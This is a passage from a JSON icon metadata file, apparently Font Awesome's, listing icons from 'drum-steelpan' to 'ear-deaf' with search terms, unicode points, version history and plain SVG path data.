        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M501.2 76.1c11.1-7.3 14.2-22.1 6.9-33.2s-22.1-14.2-33.2-6.9L370.2 104.5C335.8 98.7 297 96 256 96C114.6 96 0 128 0 208V368c0 31.3 27.4 58.8 72 78.7V344c0-13.3 10.7-24 24-24s24 10.7 24 24V463.4c33 8.9 71.1 14.5 112 16.1V376c0-13.3 10.7-24 24-24s24 10.7 24 24V479.5c40.9-1.6 79-7.2 112-16.1V344c0-13.3 10.7-24 24-24s24 10.7 24 24V446.7c44.6-19.9 72-47.4 72-78.7V208c0-41.1-30.2-69.5-78.8-87.4l67.9-44.5zM307.4 145.6l-64.6 42.3c-11.1 7.3-14.2 22.1-6.9 33.2s22.1 14.2 33.2 6.9l111.1-72.8c14.7 3.2 27.9 7 39.4 11.5C458.4 181.8 464 197.4 464 208c0 .8-2.7 17.2-46 35.9C379.1 260.7 322 272 256 272s-123.1-11.3-162-28.1C50.7 225.2 48 208.8 48 208c0-10.6 5.6-26.2 44.4-41.3C130.6 151.9 187.8 144 256 144c18 0 35.1 .5 51.4 1.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M501.2 76.1c11.1-7.3 14.2-22.1 6.9-33.2s-22.1-14.2-33.2-6.9L370.2 104.5C335.8 98.7 297 96 256 96C114.6 96 0 128 0 208V368c0 31.3 27.4 58.8 72 78.7V344c0-13.3 10.7-24 24-24s24 10.7 24 24V463.4c33 8.9 71.1 14.5 112 16.1V376c0-13.3 10.7-24 24-24s24 10.7 24 24V479.5c40.9-1.6 79-7.2 112-16.1V344c0-13.3 10.7-24 24-24s24 10.7 24 24V446.7c44.6-19.9 72-47.4 72-78.7V208c0-41.1-30.2-69.5-78.8-87.4l67.9-44.5zM307.4 145.6l-64.6 42.3c-11.1 7.3-14.2 22.1-6.9 33.2s22.1 14.2 33.2 6.9l111.1-72.8c14.7 3.2 27.9 7 39.4 11.5C458.4 181.8 464 197.4 464 208c0 .8-2.7 17.2-46 35.9C379.1 260.7 322 272 256 272s-123.1-11.3-162-28.1C50.7 225.2 48 208.8 48 208c0-10.6 5.6-26.2 44.4-41.3C130.6 151.9 187.8 144 256 144c18 0 35.1 .5 51.4 1.6z"
      }
    },
    "free": ["solid"]
  },
  "drum-steelpan": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f56a"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "calypso",
        "instrument",
        "music",
        "percussion",
        "reggae",
        "snare",
        "sound",
        "steel",
        "tropical"
      ]
    },
    "styles": ["solid"],
    "unicode": "f56a",
    "label": "Drum Steelpan",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32c159.1 0 288 48 288 128V352c0 80-128.9 128-288 128S0 432 0 352V160C0 80 128.9 32 288 32zM528 160c0-9.9-8-29.9-55-49.8c-18.6-7.9-40.9-14.4-66-19.4l-27.8 43.6c-7.3 11.5-11.2 24.8-11.2 38.4c0 17.5 6.4 34.4 18.1 47.5l9.8 11c29.8-5.2 55.9-12.5 77.2-21.5c47.1-19.9 55-39.9 55-49.8zM349.2 237.3c-8-26.2-32.4-45.3-61.2-45.3s-53.3 19.1-61.2 45.3c19.4 1.7 39.9 2.7 61.2 2.7s41.8-.9 61.2-2.7zM169 90.8c-25.2 5-47.4 11.6-66 19.4C56 130.1 48 150.1 48 160s8 29.9 55 49.8c21.3 9 47.4 16.3 77.2 21.5l9.8-11c11.6-13.1 18.1-30 18.1-47.5c0-13.6-3.9-26.9-11.2-38.4L169 90.8zm56.3-8C224.5 87 224 91.5 224 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-4.5-.5-9-1.4-13.2C330.8 81 309.8 80 288 80s-42.8 1-62.6 2.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 32c159.1 0 288 48 288 128V352c0 80-128.9 128-288 128S0 432 0 352V160C0 80 128.9 32 288 32zM528 160c0-9.9-8-29.9-55-49.8c-18.6-7.9-40.9-14.4-66-19.4l-27.8 43.6c-7.3 11.5-11.2 24.8-11.2 38.4c0 17.5 6.4 34.4 18.1 47.5l9.8 11c29.8-5.2 55.9-12.5 77.2-21.5c47.1-19.9 55-39.9 55-49.8zM349.2 237.3c-8-26.2-32.4-45.3-61.2-45.3s-53.3 19.1-61.2 45.3c19.4 1.7 39.9 2.7 61.2 2.7s41.8-.9 61.2-2.7zM169 90.8c-25.2 5-47.4 11.6-66 19.4C56 130.1 48 150.1 48 160s8 29.9 55 49.8c21.3 9 47.4 16.3 77.2 21.5l9.8-11c11.6-13.1 18.1-30 18.1-47.5c0-13.6-3.9-26.9-11.2-38.4L169 90.8zm56.3-8C224.5 87 224 91.5 224 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-4.5-.5-9-1.4-13.2C330.8 81 309.8 80 288 80s-42.8 1-62.6 2.8z"
      }
    },
    "free": ["solid"]
  },
  "drumstick-bite": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6d7"]
      }
    },
    "changes": ["5.4.0", "5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bone", "chicken", "leg", "meat", "poultry", "turkey"]
    },
    "styles": ["solid"],
    "unicode": "f6d7",
    "label": "Drumstick Bite",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 265.2c0 8.5-3.4 16.6-9.4 22.6l-26.8 26.8c-12.3 12.3-32.5 11.4-49.4 7.2C69.8 320.6 65 320 60 320c-33.1 0-60 26.9-60 60s26.9 60 60 60c6.3 0 12 5.7 12 12c0 33.1 26.9 60 60 60s60-26.9 60-60c0-5-.6-9.8-1.8-14.5c-4.2-16.9-5.2-37.1 7.2-49.4l26.8-26.8c6-6 14.1-9.4 22.6-9.4H336c6.3 0 12.4-.3 18.5-1c11.9-1.2 16.4-15.5 10.8-26c-8.5-15.8-13.3-33.8-13.3-53c0-61.9 50.1-112 112-112c8 0 15.7 .8 23.2 2.4c11.7 2.5 24.1-5.9 22-17.6C494.5 62.5 422.5 0 336 0C238.8 0 160 78.8 160 176v89.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 265.2c0 8.5-3.4 16.6-9.4 22.6l-26.8 26.8c-12.3 12.3-32.5 11.4-49.4 7.2C69.8 320.6 65 320 60 320c-33.1 0-60 26.9-60 60s26.9 60 60 60c6.3 0 12 5.7 12 12c0 33.1 26.9 60 60 60s60-26.9 60-60c0-5-.6-9.8-1.8-14.5c-4.2-16.9-5.2-37.1 7.2-49.4l26.8-26.8c6-6 14.1-9.4 22.6-9.4H336c6.3 0 12.4-.3 18.5-1c11.9-1.2 16.4-15.5 10.8-26c-8.5-15.8-13.3-33.8-13.3-53c0-61.9 50.1-112 112-112c8 0 15.7 .8 23.2 2.4c11.7 2.5 24.1-5.9 22-17.6C494.5 62.5 422.5 0 336 0C238.8 0 160 78.8 160 176v89.2z"
      }
    },
    "free": ["solid"]
  },
  "drupal": {
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a9",
    "label": "Drupal Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M303.973,108.136C268.2,72.459,234.187,38.35,224.047,0c-9.957,38.35-44.25,72.459-80.019,108.136C90.467,161.7,29.716,222.356,29.716,313.436c-2.337,107.3,82.752,196.18,190.053,198.517S415.948,429.2,418.285,321.9q.091-4.231,0-8.464C418.285,222.356,357.534,161.7,303.973,108.136Zm-174.326,223a130.282,130.282,0,0,0-15.211,24.153,4.978,4.978,0,0,1-3.319,2.766h-1.659c-4.333,0-9.219-8.481-9.219-8.481h0c-1.29-2.028-2.489-4.149-3.687-6.361l-.83-1.752c-11.247-25.72-1.475-62.318-1.475-62.318h0a160.585,160.585,0,0,1,23.231-49.873A290.8,290.8,0,0,1,138.5,201.613l9.219,9.219,43.512,44.434a4.979,4.979,0,0,1,0,6.638L145.78,312.33h0Zm96.612,127.311a67.2,67.2,0,0,1-49.781-111.915c14.2-16.871,31.528-33.464,50.334-55.313,22.309,23.785,36.875,40.1,51.164,57.986a28.413,28.413,0,0,1,2.95,4.425,65.905,65.905,0,0,1,11.984,37.981,66.651,66.651,0,0,1-66.466,66.836ZM352.371,351.6h0a7.743,7.743,0,0,1-6.176,5.347H344.9a11.249,11.249,0,0,1-6.269-5.07h0a348.21,348.21,0,0,0-39.456-48.952L281.387,284.49,222.3,223.185a497.888,497.888,0,0,1-35.4-36.322,12.033,12.033,0,0,0-.922-1.382,35.4,35.4,0,0,1-4.7-9.219V174.51a31.346,31.346,0,0,1,9.218-27.656c11.432-11.431,22.955-22.954,33.833-34.939,11.984,13.275,24.8,26,37.428,38.627h0a530.991,530.991,0,0,1,69.6,79.1,147.494,147.494,0,0,1,27.011,83.8A134.109,134.109,0,0,1,352.371,351.6Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M303.973,108.136C268.2,72.459,234.187,38.35,224.047,0c-9.957,38.35-44.25,72.459-80.019,108.136C90.467,161.7,29.716,222.356,29.716,313.436c-2.337,107.3,82.752,196.18,190.053,198.517S415.948,429.2,418.285,321.9q.091-4.231,0-8.464C418.285,222.356,357.534,161.7,303.973,108.136Zm-174.326,223a130.282,130.282,0,0,0-15.211,24.153,4.978,4.978,0,0,1-3.319,2.766h-1.659c-4.333,0-9.219-8.481-9.219-8.481h0c-1.29-2.028-2.489-4.149-3.687-6.361l-.83-1.752c-11.247-25.72-1.475-62.318-1.475-62.318h0a160.585,160.585,0,0,1,23.231-49.873A290.8,290.8,0,0,1,138.5,201.613l9.219,9.219,43.512,44.434a4.979,4.979,0,0,1,0,6.638L145.78,312.33h0Zm96.612,127.311a67.2,67.2,0,0,1-49.781-111.915c14.2-16.871,31.528-33.464,50.334-55.313,22.309,23.785,36.875,40.1,51.164,57.986a28.413,28.413,0,0,1,2.95,4.425,65.905,65.905,0,0,1,11.984,37.981,66.651,66.651,0,0,1-66.466,66.836ZM352.371,351.6h0a7.743,7.743,0,0,1-6.176,5.347H344.9a11.249,11.249,0,0,1-6.269-5.07h0a348.21,348.21,0,0,0-39.456-48.952L281.387,284.49,222.3,223.185a497.888,497.888,0,0,1-35.4-36.322,12.033,12.033,0,0,0-.922-1.382,35.4,35.4,0,0,1-4.7-9.219V174.51a31.346,31.346,0,0,1,9.218-27.656c11.432-11.431,22.955-22.954,33.833-34.939,11.984,13.275,24.8,26,37.428,38.627h0a530.991,530.991,0,0,1,69.6,79.1,147.494,147.494,0,0,1,27.011,83.8A134.109,134.109,0,0,1,352.371,351.6Z"
      }
    },
    "free": ["brands"]
  },
  "dumbbell": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f44b"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exercise", "gym", "strength", "weight", "weight-lifting"]
    },
    "styles": ["solid"],
    "unicode": "f44b",
    "label": "Dumbbell",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V224v64V448c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V384H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H96V64zm448 0v64h32c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32v64c0 17.7-14.3 32-32 32H544v64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V288 224 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32zM416 224v64H224V224H416z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V224v64V448c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V384H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H96V64zm448 0v64h32c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32v64c0 17.7-14.3 32-32 32H544v64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V288 224 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32zM416 224v64H224V224H416z"
      }
    },
    "free": ["solid"]
  },
  "dumpster": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f793"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alley", "bin", "commercial", "trash", "waste"]
    },
    "styles": ["solid"],
    "unicode": "f793",
    "label": "Dumpster",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0H428.5L402.9 32H304V160zm157.1 0h94c11.5 0 20.9-9.3 20.9-20.9c0-2.1-.3-4.1-.9-6.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l25.6 128zM32 192l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H448c0 17.7 14.3 32 32 32s32-14.3 32-32l20-160h12c17.7 0 32-14.3 32-32s-14.3-32-32-32h-4l4-32H32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0H428.5L402.9 32H304V160zm157.1 0h94c11.5 0 20.9-9.3 20.9-20.9c0-2.1-.3-4.1-.9-6.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l25.6 128zM32 192l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H448c0 17.7 14.3 32 32 32s32-14.3 32-32l20-160h12c17.7 0 32-14.3 32-32s-14.3-32-32-32h-4l4-32H32z"
      }
    },
    "free": ["solid"]
  },
  "dumpster-fire": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f794"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alley",
        "bin",
        "commercial",
        "danger",
        "dangerous",
        "euphemism",
        "flame",
        "heat",
        "hot",
        "trash",
        "waste"
      ]
    },
    "styles": ["solid"],
    "unicode": "f794",
    "label": "Dumpster Fire",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0h58c15.1-18.1 32.1-35.7 50.5-52.1c1.5-1.4 3.2-2.6 4.8-3.8L402.9 32H304V160zm209.9-23.7c17.4-15.8 43.9-16.2 61.7-1.2c-.1-.7-.3-1.4-.5-2.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l12.8 64.2c9.6 1 19 4.9 26.6 11.8c11.7 10.6 23 21.6 33.9 33.1c1.6-1.6 3.3-3.2 5-4.8zM325.2 210.7c3.8-6.2 7.9-12.5 12.3-18.7H32l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H337.6c-31-34.7-49.6-80.6-49.6-129.9c0-35.2 16.3-73.6 37.2-107.4zm128.4-78.9c-2.8-2.5-6.3-3.7-9.8-3.8c-3.6 0-7.2 1.2-10 3.7c-33.2 29.7-61.4 63.4-81.4 95.8c-19.7 31.9-32.4 66.2-32.4 92.6C320 407.9 390.3 480 480 480c88.7 0 160-72 160-159.8c0-20.2-9.6-50.9-24.2-79c-14.8-28.5-35.7-58.5-60.4-81.1c-5.6-5.1-14.4-5.2-20 0c-9.6 8.8-18.6 19.6-26.5 29.5c-17.3-20.7-35.8-39.9-55.5-57.7zM530 401c-15 10-31 15-49 15c-45 0-81-29-81-78c0-24 15-45 45-82c4 5 62 79 62 79l36-42c3 4 5 8 7 12c18 33 10 75-20 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0h58c15.1-18.1 32.1-35.7 50.5-52.1c1.5-1.4 3.2-2.6 4.8-3.8L402.9 32H304V160zm209.9-23.7c17.4-15.8 43.9-16.2 61.7-1.2c-.1-.7-.3-1.4-.5-2.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l12.8 64.2c9.6 1 19 4.9 26.6 11.8c11.7 10.6 23 21.6 33.9 33.1c1.6-1.6 3.3-3.2 5-4.8zM325.2 210.7c3.8-6.2 7.9-12.5 12.3-18.7H32l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H337.6c-31-34.7-49.6-80.6-49.6-129.9c0-35.2 16.3-73.6 37.2-107.4zm128.4-78.9c-2.8-2.5-6.3-3.7-9.8-3.8c-3.6 0-7.2 1.2-10 3.7c-33.2 29.7-61.4 63.4-81.4 95.8c-19.7 31.9-32.4 66.2-32.4 92.6C320 407.9 390.3 480 480 480c88.7 0 160-72 160-159.8c0-20.2-9.6-50.9-24.2-79c-14.8-28.5-35.7-58.5-60.4-81.1c-5.6-5.1-14.4-5.2-20 0c-9.6 8.8-18.6 19.6-26.5 29.5c-17.3-20.7-35.8-39.9-55.5-57.7zM530 401c-15 10-31 15-49 15c-45 0-81-29-81-78c0-24 15-45 45-82c4 5 62 79 62 79l36-42c3 4 5 8 7 12c18 33 10 75-20 96z"
      }
    },
    "free": ["solid"]
  },
  "dungeon": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6d9"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "building",
        "d&d",
        "dnd",
        "door",
        "entrance",
        "fantasy",
        "gate"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d9",
    "label": "Dungeon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336.6 156.5c1.3 1.1 2.7 2.2 3.9 3.3c9.3 8.2 23 10.5 33.4 3.6l67.6-45.1c11.4-7.6 14.2-23.2 5.1-33.4C430 66.6 410.9 50.6 389.7 37.6c-11.9-7.3-26.9-1.4-32.1 11.6l-30.5 76.2c-4.5 11.1 .2 23.6 9.5 31.2zM328 36.8c5.1-12.8-1.6-27.4-15-30.5C294.7 2.2 275.6 0 256 0s-38.7 2.2-57 6.4C185.5 9.4 178.8 24 184 36.8l30.3 75.8c4.5 11.3 16.8 17.2 29 16c4.2-.4 8.4-.6 12.7-.6s8.6 .2 12.7 .6c12.1 1.2 24.4-4.7 29-16L328 36.8zM65.5 85c-9.1 10.2-6.3 25.8 5.1 33.4l67.6 45.1c10.3 6.9 24.1 4.6 33.4-3.6c1.3-1.1 2.6-2.3 4-3.3c9.3-7.5 13.9-20.1 9.5-31.2L154.4 49.2c-5.2-12.9-20.3-18.8-32.1-11.6C101.1 50.6 82 66.6 65.5 85zm314 137.1c.9 3.3 1.7 6.6 2.3 10c2.5 13 13 23.9 26.2 23.9h80c13.3 0 24.1-10.8 22.9-24c-2.5-27.2-9.3-53.2-19.7-77.3c-5.5-12.9-21.4-16.6-33.1-8.9l-68.6 45.7c-9.8 6.5-13.2 19.2-10 30.5zM53.9 145.8c-11.6-7.8-27.6-4-33.1 8.9C10.4 178.8 3.6 204.8 1.1 232c-1.2 13.2 9.6 24 22.9 24h80c13.3 0 23.8-10.8 26.2-23.9c.6-3.4 1.4-6.7 2.3-10c3.1-11.4-.2-24-10-30.5L53.9 145.8zM104 288H24c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24zm304 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24H408zM24 416c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H24zm384 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H408zM272 192c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V192zm-64 32c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224zm128 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M336.6 156.5c1.3 1.1 2.7 2.2 3.9 3.3c9.3 8.2 23 10.5 33.4 3.6l67.6-45.1c11.4-7.6 14.2-23.2 5.1-33.4C430 66.6 410.9 50.6 389.7 37.6c-11.9-7.3-26.9-1.4-32.1 11.6l-30.5 76.2c-4.5 11.1 .2 23.6 9.5 31.2zM328 36.8c5.1-12.8-1.6-27.4-15-30.5C294.7 2.2 275.6 0 256 0s-38.7 2.2-57 6.4C185.5 9.4 178.8 24 184 36.8l30.3 75.8c4.5 11.3 16.8 17.2 29 16c4.2-.4 8.4-.6 12.7-.6s8.6 .2 12.7 .6c12.1 1.2 24.4-4.7 29-16L328 36.8zM65.5 85c-9.1 10.2-6.3 25.8 5.1 33.4l67.6 45.1c10.3 6.9 24.1 4.6 33.4-3.6c1.3-1.1 2.6-2.3 4-3.3c9.3-7.5 13.9-20.1 9.5-31.2L154.4 49.2c-5.2-12.9-20.3-18.8-32.1-11.6C101.1 50.6 82 66.6 65.5 85zm314 137.1c.9 3.3 1.7 6.6 2.3 10c2.5 13 13 23.9 26.2 23.9h80c13.3 0 24.1-10.8 22.9-24c-2.5-27.2-9.3-53.2-19.7-77.3c-5.5-12.9-21.4-16.6-33.1-8.9l-68.6 45.7c-9.8 6.5-13.2 19.2-10 30.5zM53.9 145.8c-11.6-7.8-27.6-4-33.1 8.9C10.4 178.8 3.6 204.8 1.1 232c-1.2 13.2 9.6 24 22.9 24h80c13.3 0 23.8-10.8 26.2-23.9c.6-3.4 1.4-6.7 2.3-10c3.1-11.4-.2-24-10-30.5L53.9 145.8zM104 288H24c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24zm304 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24H408zM24 416c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H24zm384 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H408zM272 192c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V192zm-64 32c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224zm128 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224z"
      }
    },
    "free": ["solid"]
  },
  "dyalog": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f399",
    "label": "Dyalog",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z\"/></svg>",
        "viewBox": [0, 0, 416, 512],
        "width": 416,
        "height": 512,
        "path": "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"
      }
    },
    "free": ["brands"]
  },
  "e": {
    "aliases": {
      "unicodes": {
        "composite": ["65"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter E", "Latin Small Letter E", "letter"]
    },
    "styles": ["solid"],
    "unicode": "45",
    "label": "E",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z"
      }
    },
    "free": ["solid"]
  },
  "ear-deaf": {
    "aliases": {
      "names": ["deaf", "deafness", "hard-of-hearing"],
      "unicodes": {
        "secondary": ["10f2a4"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ear", "hearing", "sign language"]
    },
    "styles": ["solid"],
    "unicode": "f2a4",
    "label": "Ear Deaf",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.6 54.6l-40 40c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l40-40c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zm-320 320l-128 128c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zM240 128c-57.6 0-105.1 43.6-111.3 99.5c-1.9 17.6-17.8 30.2-35.3 28.3s-30.2-17.8-28.3-35.3C74.8 132.5 149.4 64 240 64c97.2 0 176 78.8 176 176c0 46-17.7 87.9-46.6 119.3c-12 13-17.4 24.8-17.4 34.7V400c0 61.9-50.1 112-112 112c-17.7 0-32-14.3-32-32s14.3-32 32-32c26.5 0 48-21.5 48-48v-6.1c0-32.9 17.4-59.6 34.4-78c18.4-20 29.6-46.6 29.6-75.9c0-61.9-50.1-112-112-112zm0 80c-17.7 0-32 14.3-32 32c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-44.2 35.8-80 80-80s80 35.8 80 80c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
